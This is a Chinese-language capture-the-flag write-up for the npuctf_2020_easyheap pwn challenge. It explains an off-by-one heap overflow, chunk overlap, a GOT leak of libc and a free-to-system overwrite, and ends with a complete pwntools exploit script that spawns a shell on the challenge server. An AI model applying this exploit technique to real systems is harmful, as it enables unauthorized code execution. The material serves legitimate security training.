npuctf_2020_easyheap
检查防护措施

本地调试

堆菜单这里就不放图了 主要看一下create部分 ,我们创建了三个chunk,2个大小为24的chunk和一个大小为56的chunk,gdb调试发现程序创建了6个chunk,多创建了3个chunk,这三个chunk的fd指针位置保存chunk的大小,bk指针位置指向chunk的data域
IDA静态分析
create()

edit()

编辑功能存在off-by-one漏洞,那么我们可以多写一字节去覆盖下一个chunk的size构造堆重叠
show()

打印程序为我们创建的chunk的bk指针指向的地址的内容,也就是我们创建的chunk地址,但是如果我们把这个地址修改成free的got表地址,我们就可以泄露libc了
free()

先释放我们创建的chunk再释放开始创建的0x10的chunk
指针赋值为0,不存在uaf
大致思路
利用off-by-one覆盖下一个chunk的size构造堆重叠,再修改bk指针处的地址为free的got表地址,show打印出来泄露libc,再修改free@got为system地址,在chunk的内容里写入/bin/sh这样free这个chunk就拿到了shell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
io= remote("node4.buuoj.cn",27350) elf =ELF('./npuctf_2020_easyheap') libc = ELF('./libc-2.27_64.so') free_got = elf.got['free'] def add(size,content): io.recvuntil(b"Your choice :") io.sendline(str(1)) io.recvuntil(b"Size of Heap(0x10 or 0x20 only) :") io.sendline(str(size)) io.recvuntil(b"Content:") io.send(content)
def edit(index,content): io.recvuntil(b"Your choice :") io.sendline(str(2)) io.recvuntil(b"Index :") io.sendline(str(index)) io.recvuntil(b"Content:") io.send(content) def show(index): io.recvuntil(b"Your choice :") io.sendline(str(3)) io.recvuntil(b"Index :") io.sendline(str(index))
def free(index): io.recvuntil(b"Your choice :") io.sendline(str(4)) io.recvuntil(b"Index :") io.sendline(str(index))
add(24,b'aaaa') add(24,b'bbbb') add(56,b'/bin/sh')
edit(0,b'a'*(24)+p8(0x41))
free(1) add(56,b'cccc')
edit(1,p64(0)*3+p64(0x21)+p64(0x38)+p64(elf.got['free']))
show(1) free_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(free_addr)) libc_base = free_addr - libc.sym['free'] system = libc_base + libc.sym['system']
edit(1,p64(system)) free(2)
io.interactive()
|
